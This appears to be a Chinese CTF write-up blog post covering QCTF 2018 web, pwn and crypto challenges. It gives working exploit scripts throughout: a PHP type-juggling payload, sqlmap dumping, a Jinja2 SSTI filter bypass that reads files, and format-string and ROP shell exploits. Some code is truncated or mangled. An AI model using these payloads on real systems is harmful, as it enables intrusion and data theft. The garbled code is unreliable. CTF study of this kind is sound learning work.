QCTF部分 writeup

原创

合天网安实验室 于 2018-07-17 20:05:00 发布 644 收藏

点击上方蓝色字体，关注我们

一、啰嗦两句人话

没参加XMAN，但是水了一波QCTF，题目还可以，就是感觉这样题目对我们这些萌新来说是不是太不友好了，感觉收获还是蛮多的，现在来记录一下CTF的writeup，萌新，不会写wp，大牛绕过。

——霍金 《时间简史》

二、Misc

####X-man-A face

- 题目描述：一脸懵逼- 解题思路： 题目打开是个画图工具修补一下图片 把左边两个角用右上方的角补上，然后就可以用手机扫描二维码了，

三、Web

####Lottery

- 题目描述：http://47.96.118.255:8888

- 解题思路：

题目打开之后可以注册，退出之后无法再次登录

功能大概就是 填7个数字，比较相同的个数，从而或者金币，足够多的金币来购买flag

首先扫描一下存在 .git 泄漏

利用工具把源代码下载之后，代码审计 api存在漏洞的代码：

```

if($numbers[$i] == $win_numbers[$i]){

$same_count++;}

```

$win_numbers[$i] 不可预测

$numbers[$i] 来自用户输入的json数据 没有做任何处理

可以使之为bool类型数据：

payload：{"1":true,"2":true,"3":true,"4":true,"5":true,"6":true,"0":true}

提交两次 钱数增长 购买flag

####NewsCenter

- 题目描述：This is to0 s1mple

http://47.96.118.255:33066

- 解题思路：

本题可以直接sql注入，没有过滤：

抓包 保存在1.txt

```

POST / HTTP/1.1

Host: 47.96.118.255:33066

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 12

Referer: http://47.96.118.255:33066/

Cookie: PHPSESSID=5a3c9494e02ed3c9d0b9008622609f94

Connection: keep-alive

Upgrade-Insecure-Requests: 1

search=asasas

```

然后`sqlmap -r 1.txt -D news -T secret_table --dump`

得到：

+----+----------------------------+

| id | fl4g |

+----+--------------------------+

| 1 | QCTF{sq1_inJec7ion_ezzzzzz} |

+----+--------------------------+

####Confusion1

- 题目描述：confusion1的描述 One day, Bob said "PHP is the best language!", but Alice didn't agree it, so Alice write a website to proof it. She published it before finish it but I find something WRONG at some page. (Please DO NOT use scanner!)

http://47.96.118.255:2333/

- 解题思路：

可以打开index.php,但是不能打开 登录界面和注册界面题目

```
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL /login.php was not found on this

server.</p>

<hr>

<address>Apache/2.4.10 (Debian) Server at

47.96.118.255 Port 2333</address>

</body></html>

<!--Flag @

/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt-->

<!--Salt @

/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt-->
```

404界面提示了flag的位置，这题是要读取文件位置的

不能扫描，会被ban

想起来ASIS的一个类似的题目，猜是ssti 服务端模版注入

访问如下链接： `

http://47.96.118.255:2333/{{ 7*7 }} `

返回

```

The requested URL /49 was not found on this server.

```

访问 `http://47.96.118.255:2333/{{ 7*'7' }} `

返回

```

The requested URL /7777777 was not found on this server.

```

验证了模版是：Jinja2

关于服务端模版注入，这里讲的比较好：https://portswigger.net/blog/server-side-template-injection

但是过滤了class 和 read 导致基础类都没法使用，需要绕过

没有过滤request

因此可以从其他地方获得class

脚本如下

```

import requests

url = '''http://47.96.118.255:2333/{{''[request.cookies.p1][request.cookies.p2][2][request.cookies.p3]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.cookies.p4]()}}'''

cookies = {}

cookies['p1'] = '__class__'

cookies['p2'] = '__mro__'

cookies['p3'] = '__subclasses__'

cookies['p4'] = 'read'
```

print requests.get(url,cookies=cookies).text

```

四、PWN

**####notebook**

- 题目描述：nc 118.31.49.175 9999

- 解题思路：一个栈溢出，在check2时候有格式化字符串漏洞。通过格式化字符串修改stack_check_fail的got为pop地址，构造rop

```

```

from zio import *

import struct

#target=('127.0.0.1', 10000)

target=('118.31.49.175' ,9999)

io = zio(target, timeout=10000,

print_read=COLORED(RAW, 'red'),

print_write=COLORED(RAW, 'green'))

c2=raw_input('go?')

io.read_until('May I have your name?')

payload='%'+str(0x880B)+'d'+'%25$hn'+'\x00'*3+l32(0x0804A028)

payload+='1'*0x70

payload+=l32(0x08048791)  #get input

payload+=l32(0x08048CAA)  #pop 2

payload+=l32(0x0804A100)

payload+=l32(0x8)

payload+=l32(0x080485C0)  #system

payload+=l32(0x0)

payload+=l32(0x0804a100)

io.writeline(payload)

raw_input('go?')

io.write('/bin/sh\x00')
```

io.interact()

#QCTF{f0rmat_s7r1ng_is_happy_}

```

**####babycpp**

- 题目描述：nc 118.31.49.175 2333

- 解题思路：babycpp 数组越界，难点在于泄露canary，通过unquire函数将canary值复制都较靠前的栈地址使之可以泄露，而后构造rop拿到shell

```
from zio import *

import struct

#target=('127.0.0.1', 10000)

target=('118.31.49.175', 2333)

io = zio(target, timeout=10000,

print_read=COLORED(RAW, 'red'),

print_write=COLORED(RAW, 'green'))

c2=raw_input('go?')

io.read_until('input n:')

io.writeline('20')

io.read_until('4.exit.')

io.writeline('2')

payload='1\n'

payload+='1\n'

payload+='2\n'

payload+='3\n'

payload+='4\n'

payload+='5\n'

payload+='6\n'

payload+='7\n'
```
```

```
payload+='8\n'
payload+='9\n'
payload+='10\n'
payload+='11\n'
payload+='12\n'
payload+='13\n'
payload+='14\n'
payload+='15\n'
payload+='16\n'
payload+='17\n'
payload+='18\n'
payload+='19\n'
io.read_until('input 20 num:')
io.writeline(payload)
io.read_until('4.exit.')
io.writeline('1')
io.writeline('2')
io.read_until('4.exit.')
io.writeline('2')
io.read_until('input 2 num:')
io.writeline('1\n1')
io.read_until('4.exit.')
io.writeline('1')
io.writeline('24')
io.read_until('4.exit.')
io.writeline('3')
io.read_until('4.exit.')
io.writeline('1')
io.writeline('2')
io.read_until('4.exit.')
io.writeline('2')
```

```
io.read_until('input 2 num:')
io.writeline('1\n1')
io.read_until('4.exit.')
io.writeline('1')
io.writeline('23')
io.read_until('4.exit.')
io.writeline('3')
io.read_until('4.exit.')
io.writeline('1')
io.writeline('2')
io.read_until('4.exit.')
io.writeline('2')
io.read_until('input 2 num:')
io.writeline('1\n1')
io.read_until('4.exit.')
io.writeline('1')
io.writeline('22')
io.read_until('4.exit.')
io.writeline('3')
io.read_until('4.exit.')
io.writeline('1')
io.writeline('2')
io.read_until('4.exit.')
io.writeline('2')
io.read_until('input 2 num:')
io.writeline('1\n1')
io.read_until('4.exit.')
io.writeline('1')
io.writeline('21')
io.read_until('4.exit.')
raw_input('go?')
```

```
io.writeline('3')
io.read_until('19 ')
io.read_until(' ')
io.read_until(' ')
test=io.read_until(' ')
test=test[0:-1]
low=int(test,10)
test=io.read_until(' ')
test=test[0:-1]
high=int(test,10)
gs=high*0x100000000+low
print hex(gs)
io.read_until('4.exit.')
io.writeline('1')
io.writeline('56')
io.read_until('4.exit.')
raw_input('go?')
io.writeline('2')
payload='1\n'+'1\n'
payload+='1\n'+'1\n'
payload+='1\n'+'1\n'
payload+='1\n'+'1\n'
payload+='1\n'+'1\n'
payload+='1\n'+'1\n'
payload+='1\n'+'1\n'
payload+='1\n'+'1\n'
payload+='1\n'+'1\n'
payload+='1\n'+'1\n'
payload+='1\n'+'1\n'
payload+='1\n'+'1\n'
payload+=str(low)+'\n'+str(high)+'\n'
payload+='1\n'+'1\n'
```

```
payload+=str(0x00401251)+'\n'+str(0x0)+'\n'
payload+=str(0x00602090)+'\n'+str(0x0)+'\n'
payload+='1\n'+'1\n'
payload+=str(0x00401253)+'\n'+str(0x0)+'\n'
payload+=str(0x00602200)+'\n'+str(0x0)+'\n'
payload+=str(0x00400Ab0)+'\n'+str(0x0)+'\n'
payload+=str(0x00401251)+'\n'+str(0x0)+'\n'
payload+=str(0x00602050)+'\n'+str(0x0)+'\n'
payload+='1\n'+'1\n'
payload+=str(0x00401253)+'\n'+str(0x0)+'\n'
payload+=str(0x006020c0)+'\n'+str(0x0)+'\n'
payload+=str(0x00400af0)+'\n'+str(0x0)+'\n'
payload+=str(0x00401253)+'\n'+str(0x0)+'\n'
payload+=str(0x00602050)+'\n'+str(0x0)+'\n'
payload+=str(0x00400Ad0)+'\n'+str(0x0)+'\n'
io.read_until('input 56 num:')
io.writeline(payload)
io.read_until('4.exit.')
io.writeline('4')
io.read_until('\n')
io.read(2)
test=io.read(6)+'\x00'*2
system=struct.unpack("<Q",test)[0]-0x28410
io.writeline('/bin/sh\x00'+l64(system))
io.interact()
#QCTF{we1come_7o_QCTF_and_Xman_}
```

####Xman-dice_game

- 题目描述：nc 47.96.239.28 9999

- 解题思路：dice_game　输入姓名时可以覆盖随机数种子，在此覆盖为0，可以预测随机数产生，预测成功50次，拿到flag

```

from zio import *

import struct

#target=('127.0.0.1', 10000)

target=('47.96.239.28', 9999)

io = zio(target, timeout=10000,

print_read=COLORED(RAW, 'red'),

print_write=COLORED(RAW, 'green'))

c2=raw_input('go?')

io.read_until('let me know your name:')

io.writeline('1'*0x40+l64(0x0))

payload='2542625142323265115563443332226111642525444632361'

i=0

while(1):

io.read_until('Give me the point(1~6):')

io.writeline(payload[i])

i=i+1

if(i==50):

break

io.interact()

#QCTF{hav3_4un_w1th_th1s_gam3}

```

####Xman-stack2

- 题目描述：nc 118.31.49.175 9999

- 解题思路：stack2 第三个选项可以数组越界，由于hackthere函数调用/bin/bash字符串不能执行，构造rop调用sh字符串，拿到shell

```

from zio import *
```

```
import struct
#target=('127.0.0.1', 10000)
target=('47.96.239.28',2333)
io = zio(target, timeout=10000,
print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green'))
c2=raw_input('go?')
io.read_until('How many numbers you have:')
io.writeline('1')
io.read_until('Give me your numbers')
io.writeline('1')
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('132')
io.read_until('new number:')
io.writeline(str(0x80))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('133')
io.read_until('new number:')
io.writeline(str(0x84))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('134')
io.read_until('new number:')
io.writeline(str(0x04))
io.read_until('5. exit')
io.writeline('3')
```

```
io.read_until('which number to change:')
io.writeline('135')
io.read_until('new number:')
io.writeline(str(0x08))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('136')
io.read_until('new number:')
io.writeline(str(0x50))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('137')
io.read_until('new number:')
io.writeline(str(0x84))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('138')
io.read_until('new number:')
io.writeline(str(0x04))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('139')
io.read_until('new number:')
io.writeline(str(0x08))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
```

```
io.writeline('140')
io.read_until('new number:')
io.writeline(str(0x97))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('141')
io.read_until('new number:')
io.writeline(str(0x8a))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('142')
io.read_until('new number:')
io.writeline(str(0x04))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('143')
io.read_until('new number:')
io.writeline(str(0x08))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('144')
io.read_until('new number:')
io.writeline(str(0x00))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('145')
```

```
io.read_until('new number:')
io.writeline(str(0xa1))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('146')
io.read_until('new number:')
io.writeline(str(0x04))
io.read_until('5. exit')
io.writeline('3')
io.read_until('which number to change:')
io.writeline('147')
io.read_until('new number:')
io.writeline(str(0x08))
raw_input('go?')
io.read_until('5. exit')
io.writeline('5')
raw_input('go?')
io.writeline(str(0x6873))
io.interact()
```

#QCTF{H3y_X_w4N}

```

###Crypto

**####babyRSA**

- 题目描述：babyRSA

e = 0x10001

n =
0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb(
```

c =
0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b

nc 47.96.239.28 23333

babyRSA

解题思路：

思路和以前做过的一题差不多：

https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack

https://ctf.rip/sharif-ctf-2016-lsb-oracle-crypto-challenge/

写了如下脚本：

```
# -*- coding: utf-8 -*-
from pwn import *
from linbum import *
def oracle(c):
    p=remote("47.96.239.28",23333)
    p.recvuntil('now\n')
    p.sendline(hex(c))
    sh = p.recv()
    #print sh
    p.close()
    if sh == 'odd\n':
        flag = 1
        else:
            flag = 0
        return flag
def main():
    N =
0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb
    e = 0x10001
```

```
    c = 0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b
    c = (pow(2,e,N)*c)%N
    LB = 0
    UB = N
    i = 1
    while LB!=UB:
        flag = oracle(c)
    print i
        #print 'c:  ',c,UB,LB
        if flag==0:
            UB = (LB+UB)/2
        else:
            LB = (LB+UB)/2
        c = (pow(2,e,N)*c)%N
        i += 1
    print LB
    print UB
    print "flag:  ",n2s(UB)
if __name__ == '__main__':
    main()
```

####Xman-RSA

- 题目描述：Xman-RSA flag为XMAN{}格式

- 解题思路：

xmanrsa先共模攻击，第二步欧几里得算法求相同素数p1 babyrsa是parity oracle攻，根据交互信息判断爆破

```
# -*- coding: utf-8 -*-
from os import urandom
```

```
import base64
import libnum
import gmpy2
def bytes_to_num(b):
return int(b.encode('hex'), 16)
def num_to_bytes(n):
b = hex(n)[2:-1]
b = '0' + b if len(b)%2 == 1 else b
return b.decode('hex')
def encrypt(s, e, n):
p = bytes_to_num(s)
p = pow(p, e, n)
return num_to_bytes(p).encode('hex')
def decrypt(c,d,n):
    cipher = bytes_to_num(c.decode('hex'))
    msg = gmpy2.powmod(cipher, d, n)
    ##print (msg)
    msg = hex(msg)[2:]
    if len(msg) % 2 != 0:
        msg = '0' + msg
    msg = msg.decode('hex')
    return msg
def  main():
    #known
    n2 =
'PVNHb2BfGAnmxLrbKhgsYXRwWlL9eOj6K0s3l0slKHCTXTAUtZh3T0r+RoSlhpO3+77AY8P7WETYz2Jzuv5F'
    n3 =
'TmNVbWUhCXR1od3gBpM+HGMKK/4ErflKITxomQ/QmNCZlzmmsNyPXQBiMEeUB8udO7lWjQTYGjD6k21xj7
    n2 = bytes_to_num(base64.b64decode(n2))
    n3 = bytes_to_num(base64.b64decode(n3))
```

```
c1 = '2639c28e3609a4a8c953cca9c326e8e062756305ae8aee6efcd346458aade3ee8c2106ab9dfe5f470804f366af7

c2 = '42ff1157363d9cd10da64eb4382b6457ebb740dbef40ade9b24a174d0145adaa0115d86aa2fc2a41257f2b6248

c1_ = bytes_to_num(c1.decode('hex'))

c2_ = bytes_to_num(c2.decode('hex'))

c_msg1 = '1240198b148089290e375b999569f0d53c32d356b2e95f5acee070f016b3bef243d0b5e46d9ad7aa7dfe2f21bda

c_msg2 = '129d5d4ab3f9e8017d4e6761702467bbeb1b884b6c4f8ff397d078a8c41186a3d52977fa2307d5b6a0ad01fedfc3
```

##共模攻击

```
n3 = 98955710606937038870182684137461076790947034780679720878628515701925200120581880624854760

e1 = 0x1001

e2 = 0x101

gcd, s, t = gmpy2.gcdext(e1, e2)

if s < 0:

    s = -s

    c1_ = gmpy2.invert(c1_, n3)

if t < 0:

    t = -t

    c2_ = gmpy2.invert(c2_, n3)

n1 = gmpy2.powmod(c1_, s, n3) * gmpy2.powmod(c2_, t, n3) % n3

print 'n1:  ',(n1)
```

##欧几里得算法求素数p1

```
p1 = gmpy2.gcd(n1, n2)

p2 = n1 / p1
```

```
    p3 = n2 / p1
    e = 0x1001
    phin1 = (p1 - 1) * (p2 - 1)
    phin2 = (p1 - 1) * (p3 - 1)
    d1 = gmpy2.invert(e, phin1)
    d2 = gmpy2.invert(e, phin2)
    c_msg1 =
'1240198b148089290e375b999569f0d53c32d356b2e95f5acee070f016b3bef243d0b5e46d9ad7aa7dfe2f21bda
    c_msg2 =
'129d5d4ab3f9e8017d4e6761702467bbeb1b884b6c4f8ff397d078a8c41186a3d52977fa2307d5b6a0ad01fedfc3
    msg1 = decrypt(c_msg1,d1,n1)
    msg2 = decrypt(c_msg2,d2,n2)
    print "msg1:  ",msg1
    print "msg2:  ",msg2


 ##逆separate，其实就是
    flag = ''
    for i in xrange(len(msg2)):
        flag = flag + msg1[i] + msg2[i]
    print "flag:  ",flag
if __name__ == '__main__':
    main()
```

别忘了投稿哦！

合天公众号开启原创投稿啦！！！

大家有好的技术原创文章。

欢迎投稿至邮箱：edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧！

点击了解投稿详情 重金悬赏 | 合天原创投稿等你来！